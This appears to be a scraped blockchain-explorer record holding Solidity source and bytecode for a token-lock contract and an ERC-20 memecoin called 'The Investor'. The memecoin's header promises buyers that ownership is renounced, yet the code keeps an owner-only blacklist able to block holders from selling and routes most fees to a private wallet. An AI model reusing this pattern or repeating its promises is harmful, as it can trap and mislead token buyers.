function addtoPremiumService(address[] memory _recipients) public onlyOwner returns (bool) {
require(_recipients.length <= 100); //maximum receievers can be 100
for (uint i = 0; i < _recipients.length; i++) {
premiumMember[_recipients[i]] = true;
}
return true;
}
/* This Function will blacklist Addresses for Premium Service */
function removefromPremiumService(address[] memory _recipients) public onlyOwner returns (bool) {
require(_recipients.length <= 100); //maximum receievers can be 100
for (uint i = 0; i < _recipients.length; i++) {
premiumMember[_recipients[i]] = false;
}
return true;
}
/* View BNB Balance */
function bnbBalance() public view returns (uint256){
return address(this).balance;
}
/* Update fee Rate with respect to $ */
function updateFeeRate(int _feerate) public onlyOwner returns (bool success){
feerate = _feerate;
return true;
}
/* Only Recieve Token for Lock */
receive() payable external {
payable(owner).transfer(msg.value);
}
}
|
0x6080604052600436106101a05760003560e01c80638da5cb5b116100ec578063c8198b361161008a578063d013cbe211610064578063d013cbe2146105bb578063e0a73a93146105ce578063ef97f9e6146105e8578063f2fde38b1461060857600080fd5b8063c8198b361461054b578063c8906a1e1461057b578063c9028aff1461059b57600080fd5b8063adad19bd116100c6578063adad19bd14610484578063b9e7df1c146104a4578063bb941cff146104dc578063beebd35a1461053657600080fd5b80638da5cb5b146104215780638e15f473146104595780639852099c1461046e57600080fd5b8063530680d81161015957806376704de01161013357806376704de0146103475780637d533c1e146103675780637f7a73a31461037a578063890db72f1461038f57600080fd5b8063530680d8146102e25780636ba03924146103025780636be8535a1461031757600080fd5b806303a29adf146101e75780630bd59ad31461020d5780631b73a4241461023a578063315a095d1461025a578063347c80ba1461027c5780634c5f7f54146102c257600080fd5b366101e257600080546040516001600160a01b03909116913480156108fc02929091818181858888f193505050501580156101df573d6000803e3d6000fd5b50005b600080fd5b6101fa6101f5366004611a2a565b610628565b6040519081526020015b60405180910390f35b34801561021957600080fd5b5061022d610228366004611aaf565b6109f1565b6040516102049190611aca565b34801561024657600080fd5b506101fa610255366004611b0e565b610a5d565b34801561026657600080fd5b5061027a610275366004611b0e565b610a78565b005b34801561028857600080fd5b506101fa610297366004611b27565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156102ce57600080fd5b5061027a6102dd366004611b5a565b610ded565b3480156102ee57600080fd5b506101fa6102fd366004611b7d565b6110a8565b34801561030e57600080fd5b5061022d6110d9565b34801561032357600080fd5b50610337610332366004611ba7565b611131565b6040519015158152602001610204565b34801561035357600080fd5b5061027a610362366004611c3f565b6111cb565b6101fa610375366004611c61565b611254565b34801561038657600080fd5b506101fa6115b4565b34801561039b57600080fd5b506103ec6103aa366004611b0e565b6000908152600460208190526040909120805460018201546002830154600384015493909401546001600160a01b03928316959290911693929160ff90911690565b604080516001600160a01b0396871681529590941660208601529284019190915260608301521515608082015260a001610204565b34801561042d57600080fd5b50600054610441906001600160a01b031681565b6040516001600160a01b039091168152602001610204565b34801561046557600080fd5b506101fa611657565b34801561047a57600080fd5b506101fa60015481565b34801561049057600080fd5b506101fa61049f366004611aaf565b6116eb565b3480156104b057600080fd5b506101fa6104bf366004611b27565b600560209081526000928352604080842090915290825290205481565b3480156104e857600080fd5b506103ec6104f7366004611b0e565b6004602081905260009182526040909120805460018201546002830154600384015493909401546001600160a01b039283169492909116929060ff1685565b34801561054257600080fd5b50610337611765565b34801561055757600080fd5b50610337610566366004611aaf565b60066020526000908152604090205460ff1681565b34801561058757600080fd5b50610337610596366004611ba7565b6117ab565b3480156105a757600080fd5b506101fa6105b6366004611b0e565b61183a565b3480156105c757600080fd5b50476101fa565b3480156105da57600080fd5b506007546103379060ff1681565b3480156105f457600080fd5b50610337610603366004611b0e565b61185b565b34801561061457600080fd5b5061027a610623366004611aaf565b61187c565b60008083511161063757600080fd5b815183511461064557600080fd5b600083516106516115b4565b61065b9190611cb9565b60075490915060ff1615610721576001600160a01b03851660009081526006602052604090205460ff1661072157803410156106d45760405162461bcd60e51b815260206004820152601360248201527214de5cdd195b481199594814995c5d5a5c9959606a1b60448201526064015b60405180910390fd5b600080546040516001600160a01b03909116913480156108fc02929091818181858888f1935050505015801561070e573d6000803e3d6000fd5b503460095461071d9190611cd8565b6009555b60005b84518110156109e757600085828151811061074157610741611cf0565b60200260200101511161075357600080fd5b6402540be40084828151811061076b5761076b611cf0565b60200260200101511061077d57600080fd5b6107ca85828151811061079257610792611cf0565b6020908102919091018101516001600160a01b03808b166000908152600584526040808220928c168252919093529091205490611901565b6001600160a01b038089166000908152600560209081526040808320938b168352929052908120919091556001805490919061080590611d06565b9182905550600081815260046020526040902080546001600160a01b03808b166001600160a01b031992831617835560019092018054928a1692909116919091179055855190935085908290811061085f5761085f611cf0565b6020026020010151600460008581526020019081526020016000206002018190555083818151811061089357610893611cf0565b602090810291909101810151600085815260048084526040808320600380820195909555909101805460ff191690556002805460018181019092557f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace018890556001600160a01b03808c1684529385529082208054918201815582529290209091018490558551908816906323b872dd903390309089908690811061093a5761093a611cf0565b60209081029190910101516040516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301526044820152606401602060405180830381600087803b15801561099457600080fd5b505af11580156109a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cc9190611d21565b6109d557600080fd5b806109df81611d06565b915050610724565b5050949350505050565b6001600160a01b038116600090815260036020908152604091829020805483518184028101840190945280845260609392830182828015610a5157602002820191906000526020600020905b815481526020019060010190808311610a3d575b50505050509050919050565b600081610a686115b4565b610a729190611cb9565b92915050565b600081815260046020526040902060030154421015610a9657600080fd5b6000818152600460205260409020600101546001600160a01b03163314610abc57600080fd5b6000818152600460208190526040909120015460ff1615610adc57600080fd5b6000818152600460208181526040808420928301805460ff19166001179055600283015492546001600160a01b031684526005825280842033855290915290912054610b2791611924565b600082815260046020908152604080832080546001600160a01b0390811685526005845282852033865284528285209590955560010154909316825260039052908120545b80821015610cb6576000838152600460209081526040808320600101546001600160a01b0316835260039091529020805484919084908110610bb057610bb0611cf0565b90600052602060002001541415610ca45760008381526004602090815260408083206001908101546001600160a01b03168452600390925290912090610bf69083611d43565b81548110610c0657610c06611cf0565b6000918252602080832090910154858352600482526040808420600101546001600160a01b0316845260039092529120805484908110610c4857610c48611cf0565b6000918252602080832090910192909255848152600482526040808220600101546001600160a01b03168252600390925220805480610c8957610c89611d5a565b60019003818190600052602060002001600090559055610cb6565b81610cae81611d06565b925050610b6c565b6000838152600460208190526040918290208054600290910154925163a9059cbb60e01b8152339281019290925260248201929092526001600160a01b039091169063a9059cbb90604401602060405180830381600087803b158015610d1b57600080fd5b505af1158015610d2f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d539190611d21565b610d5c57600080fd5b600083815260046020908152604091829020600201548251338152918201527fb4214c8c54fc7442f36d3682f59aebaf09358a4431835b30efb29d52cf9e1e91910160405180910390a14715610de857600080546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610de6573d6000803e3d6000fd5b505b505050565b6000828152600460208190526040909120015460ff1615610e0d57600080fd5b6000828152600460205260409020600101546001600160a01b03163314610e3357600080fd5b6000828152600460209081526040808320600281015490546001600160a01b031684526005835281842033855290925290912054610e7091611924565b600083815260046020908152604080832080546001600160a01b03908116855260058085528386203387528552838620969096556002820154915481168552948352818420948616845293909152902054610eca91611901565b600083815260046020908152604080832080546001600160a01b03908116855260058452828520878216865284528285209590955560010154909316825260039052908120545b8082101561105b576000848152600460209081526040808320600101546001600160a01b0316835260039091529020805485919084908110610f5557610f55611cf0565b906000526020600020015414156110495760008481526004602090815260408083206001908101546001600160a01b03168452600390925290912090610f9b9083611d43565b81548110610fab57610fab611cf0565b6000918252602080832090910154868352600482526040808420600101546001600160a01b0316845260039092529120805484908110610fed57610fed611cf0565b6000918252602080832090910192909255858152600482526040808220600101546001600160a01b0316825260039092522080548061102e5761102e611d5a565b6001900381819060005260206000200160009055905561105b565b8161105381611d06565b925050610f11565b50506000828152600460209081526040808320600190810180546001600160a01b039096166001600160a01b03199096168617905593835260038252822080549384018155825290200155565b600360205281600052604060002081815481106110c457600080fd5b90600052602060002001600091509150505481565b6060600280548060200260200160405190810160405280929190818152602001828054801561112757602002820191906000526020600020905b815481526020019060010190808311611113575b5050505050905090565b600080546001600160a01b0316331461114957600080fd5b60648251111561115857600080fd5b60005b82518110156111c05760006006600085848151811061117c5761117c611cf0565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806111b881611d06565b91505061115b565b50600190505b919050565b6402540be40081106111dc57600080fd5b60008281526004602052604090206003015481116111f957600080fd5b6000828152600460208190526040909120015460ff161561121957600080fd5b6000828152600460205260409020600101546001600160a01b0316331461123f57600080fd5b60009182526004602052604090912060030155565b600080831161126257600080fd5b6402540be400821061127357600080fd5b600061127d6115b4565b60075490915060ff161561133e576001600160a01b03851660009081526006602052604090205460ff1661133e57803410156112f15760405162461bcd60e51b815260206004820152601360248201527214de5cdd195b481199594814995c5d5a5c9959606a1b60448201526064016106cb565b600080546040516001600160a01b03909116913480156108fc02929091818181858888f1935050505015801561132b573d6000803e3d6000fd5b503460095461133a9190611cd8565b6009555b6001600160a01b0380871660009081526005602090815260408083209389168352929052205461136e9085611901565b6001600160a01b038088166000908152600560209081526040808320938a16835292905290812091909155600180549091906113a990611d06565b9190508190559150856004600084815260200190815260200160002060000160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550846004600084815260200190815260200160002060010160006101000a8154816001600160a01b0302191690836001600160a01b0316021790555083600460008481526020019081526020016000206002018190555082600460008481526020019081526020016000206003018190555060006004600084815260200190815260200160002060040160006101000a81548160ff021916908315150217905550600282908060018154018082558091505060019003906000526020600020016000909190919091505560036000866001600160a01b03166001600160a01b03168152602001908152602001600020829080600181540180825580915050600190039060005260206000200160009091909190915055856001600160a01b03166323b872dd3330876040518463ffffffff1660e01b8152600401611550939291906001600160a01b039384168152919092166020820152604081019190915260600190565b602060405180830381600087803b15801561156a57600080fd5b505af115801561157e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a29190611d21565b6115ab57600080fd5b50949350505050565b600080600a60009054906101000a90046001600160a01b03166001600160a01b031663feaf968c6040518163ffffffff1660e01b815260040160a06040518083038186803b15801561160557600080fd5b505afa158015611619573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061163d9190611d8a565b505050915050600854816116519190611dda565b91505090565b600080600a60009054906101000a90046001600160a01b03166001600160a01b031663feaf968c6040518163ffffffff1660e01b815260040160a06040518083038186803b1580156116a857600080fd5b505afa1580156116bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116e09190611d8a565b509195945050505050565b6040516370a0823160e01b81523060048201526000906001600160a01b038316906370a082319060240160206040518083038186803b15801561172d57600080fd5b505afa158015611741573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a729190611e5f565b600080546001600160a01b0316331461177d57600080fd5b60075460ff1615611797576007805460ff191690556117a5565b6007805460ff191660011790555b50600190565b600080546001600160a01b031633146117c357600080fd5b6064825111156117d257600080fd5b60005b82518110156111c0576001600660008584815181106117f6576117f6611cf0565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061183281611d06565b9150506117d5565b6002818154811061184a57600080fd5b600091825260209091200154905081565b600080546001600160a01b0316331461187357600080fd5b50600855600190565b6000546001600160a01b0316331461189357600080fd5b6001600160a01b0381166118a657600080fd5b600080546040516001600160a01b03808516939216917f2e3feca4334579203cd183fe1ced9524940047e5586fe13e8cc5dd1babaf6e8291a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60008061190e8385611cd8565b90508381101561191d57600080fd5b9392505050565b60008282111561193357600080fd5b61191d8284611d43565b80356001600160a01b03811681146111c657600080fd5b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff8111828210171561199357611993611954565b604052919050565b600067ffffffffffffffff8211156119b5576119b5611954565b5060051b60200190565b600082601f8301126119d057600080fd5b813560206119e56119e08361199b565b61196a565b82815260059290921b84018101918181019086841115611a0457600080fd5b8286015b84811015611a1f5780358352918301918301611a08565b509695505050505050565b60008060008060808587031215611a4057600080fd5b611a498561193d565b9350611a576020860161193d565b9250604085013567ffffffffffffffff80821115611a7457600080fd5b611a80888389016119bf565b93506060870135915080821115611a9657600080fd5b50611aa3878288016119bf565b91505092959194509250565b600060208284031215611ac157600080fd5b61191d8261193d565b6020808252825182820181905260009190848201906040850190845b81811015611b0257835183529284019291840191600101611ae6565b50909695505050505050565b600060208284031215611b2057600080fd5b5035919050565b60008060408385031215611b3a57600080fd5b611b438361193d565b9150611b516020840161193d565b90509250929050565b60008060408385031215611b6d57600080fd5b82359150611b516020840161193d565b60008060408385031215611b9057600080fd5b611b998361193d565b946020939093013593505050565b60006020808385031215611bba57600080fd5b823567ffffffffffffffff811115611bd157600080fd5b8301601f81018513611be257600080fd5b8035611bf06119e08261199b565b81815260059190911b82018301908381019087831115611c0f57600080fd5b928401925b82841015611c3457611c258461193d565b82529284019290840190611c14565b979650505050505050565b60008060408385031215611c5257600080fd5b50508035926020909101359150565b60008060008060808587031215611c7757600080fd5b611c808561193d565b9350611c8e6020860161193d565b93969395505050506040820135916060013590565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615611cd357611cd3611ca3565b500290565b60008219821115611ceb57611ceb611ca3565b500190565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611d1a57611d1a611ca3565b5060010190565b600060208284031215611d3357600080fd5b8151801515811461191d57600080fd5b600082821015611d5557611d55611ca3565b500390565b634e487b7160e01b600052603160045260246000fd5b805169ffffffffffffffffffff811681146111c657600080fd5b600080600080600060a08688031215611da257600080fd5b611dab86611d70565b9450602086015193506040860151925060608601519150611dce60808701611d70565b90509295509295909350565b60006001600160ff1b0381841382841380821686840486111615611e0057611e00611ca3565b600160ff1b6000871282811687830589121615611e1f57611e1f611ca3565b60008712925087820587128484161615611e3b57611e3b611ca3565b87850587128184161615611e5157611e51611ca3565b505050929093029392505050565b600060208284031215611e7157600080fd5b505191905056fea2646970667358221220948a7bff99cb42f29b2d1b622b377d9357e1d8c4d3d9c936caeb078a640b8b0964736f6c63430008090033
|
{"success": true, "error": null, "results": {}}
| 9,419 |
0xf870b09f9179360b9fb17efa5a5df224308773ba
|
/**
The Investoooor
Community Telegram: https://t.me/TheInvestorETH
Dev's missing, basicly vanished as he locked the LP tokens and renounced ownership.
> Btw, half the LP Fee tokens get sold and added to liquidity pair, good luck!
> Btw II, fee contract solved, 'router clog' doesn't happen anymore, can always sell.
**/
/**
// SPDX-License-Identifier: Unlicensed
**/
pragma solidity ^0.8.6;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function approve(address to, uint value) external returns (bool);
}
contract TheInvestor is Context, IERC20, Ownable {
string private constant _name = unicode"The Investor";
string private constant _symbol = "The Investor";
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping(address => uint256)) private _allowances;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
IUniswapV2Router02 private uniswapV2Router;
address[] private _excluded;
address private c;
address private wallet1;
address private uniswapV2Pair;
address private WETH;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee;
uint256 private _LiquidityFee;
uint64 private buyCounter;
uint8 private constant _decimals = 9;
uint16 private maxTx;
bool private tradingOpen;
bool private inSwap;
bool private swapEnabled;
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable _wallet1) {
c = address(this);
wallet1 = _wallet1;
_rOwned[c] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[c] = true;
_isExcludedFromFee[wallet1] = true;
excludeFromReward(owner());
excludeFromReward(c);
excludeFromReward(wallet1);
emit Transfer(address(0),c,_tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()] - amount);
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount / currentRate;
}
function nofees() private {
_taxFee = 0;
_LiquidityFee = 0;
}
function basefees() private {
_taxFee = 0;
_LiquidityFee = 12;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from] && !bots[to]);
basefees();
if (from != owner() && to != owner() && tradingOpen) {
if (!inSwap) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && !inSwap) {
if (buyCounter < 100)
require(amount <= _tTotal * maxTx / 1000);
buyCounter++;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from] && !inSwap) {
if (swapEnabled) {
uint256 contractTokenBalance = balanceOf(c);
if (contractTokenBalance > balanceOf(uniswapV2Pair) * 1 / 10000) {
swapAndLiquify(contractTokenBalance);
}
}
}
if (!inSwap) {
if (buyCounter == 5)
maxTx = 30; //10%
if (buyCounter == 10) {
maxTx = 1000; //10%
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to] || inSwap) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 fifth = contractTokenBalance / 5;
uint256 fourfifth = contractTokenBalance - fifth;
swapTokensForEth(fourfifth);
uint256 balance = c.balance / 5;
sendETHToFee(balance*4);
addLiquidity(fifth, balance);
emit SwapAndLiquify(fourfifth, balance*4, fifth);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(c, address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
c,
tokenAmount,
0,
0,
owner(),
block.timestamp
);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = c;
path[1] = WETH;
_approve(c, address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, c, block.timestamp);
}
function sendETHToFee(uint256 ETHamount) private {
payable(wallet1).transfer(ETHamount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
WETH = uniswapV2Router.WETH();
_approve(c, address(uniswapV2Router), ~uint256(0));
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(c, WETH);
uniswapV2Router.addLiquidityETH{value: c.balance}(c,balanceOf(c),0,0,owner(),block.timestamp);
maxTx = 10; // 10%
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),~uint256(0));
tradingOpen = true;
swapEnabled = true;
}
function manualswap() external {
uint256 contractBalance = balanceOf(c);
swapTokensForEth(contractBalance);
}
function manualsend() external {
uint256 contractETHBalance = c.balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) nofees();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender] - tAmount;
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender] - tAmount;
_rOwned[sender] = _rOwned[sender] - rAmount;
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity * currentRate;
_rOwned[c] = _rOwned[c] + rLiquidity;
_tOwned[c] = _tOwned[c] + tLiquidity;
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal - rFee;
_tFeeTotal = _tFeeTotal + tFee;
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount, _taxFee, _LiquidityFee);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 LiquidityFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount * taxFee / 100;
uint256 tLiquidity = tAmount * LiquidityFee / 100;
uint256 tTransferAmount = tAmount - tFee - tLiquidity;
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount * currentRate;
uint256 rFee = tFee * currentRate;
uint256 rLiquidity = tLiquidity * currentRate;
uint256 rTransferAmount = rAmount - rFee - rLiquidity;
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply / tSupply;
}
function excludeFromReward(address addr) internal {
require(addr != address(uniswapV2Router), 'ERR: Can\'t exclude Uniswap router');
require(!_isExcluded[addr], "Account is already excluded");
if(_rOwned[addr] > 0) {
_tOwned[addr] = tokenFromReflection(_rOwned[addr]);
}
_isExcluded[addr] = true;
_excluded.push(addr);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply - _rOwned[_excluded[i]];
tSupply = tSupply - _tOwned[_excluded[i]];
}
if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100f75760003560e01c8063715018a61161008a578063b515566a11610059578063b515566a14610325578063c3c8cd801461034e578063c9567bf914610365578063dd62ed3e1461037c576100fe565b8063715018a61461027b5780638da5cb5b1461029257806395d89b41146102bd578063a9059cbb146102e8576100fe565b8063273123b7116100c6578063273123b7146101d3578063313ce567146101fc5780636fc3eaec1461022757806370a082311461023e576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103b9565b604051610125919061395e565b60405180910390f35b34801561013a57600080fd5b506101556004803603810190610150919061354b565b6103f6565b6040516101629190613943565b60405180910390f35b34801561017757600080fd5b50610180610414565b60405161018d9190613a80565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b891906134f8565b610423565b6040516101ca9190613943565b60405180910390f35b3480156101df57600080fd5b506101fa60048036038101906101f5919061345e565b6104db565b005b34801561020857600080fd5b506102116105cb565b60405161021e9190613b2c565b60405180910390f35b34801561023357600080fd5b5061023c6105d4565b005b34801561024a57600080fd5b506102656004803603810190610260919061345e565b61061e565b6040516102729190613a80565b60405180910390f35b34801561028757600080fd5b50610290610709565b005b34801561029e57600080fd5b506102a761085c565b6040516102b49190613875565b60405180910390f35b3480156102c957600080fd5b506102d2610885565b6040516102df919061395e565b60405180910390f35b3480156102f457600080fd5b5061030f600480360381019061030a919061354b565b6108c2565b60405161031c9190613943565b60405180910390f35b34801561033157600080fd5b5061034c6004803603810190610347919061358b565b6108e0565b005b34801561035a57600080fd5b50610363610a0a565b005b34801561037157600080fd5b5061037a610a45565b005b34801561038857600080fd5b506103a3600480360381019061039e91906134b8565b6110d2565b6040516103b09190613a80565b60405180910390f35b60606040518060400160405280600c81526020017f54686520496e766573746f720000000000000000000000000000000000000000815250905090565b600061040a610403611159565b8484611161565b6001905092915050565b600066038d7ea4c68000905090565b600061043084848461132c565b6104d08461043c611159565b84600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610486611159565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104cb9190613cce565b611161565b600190509392505050565b6104e3611159565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610570576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610567906139c0565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1631905061061b81611c67565b50565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156106b957600260008373ffffffffffffffffffffffffffff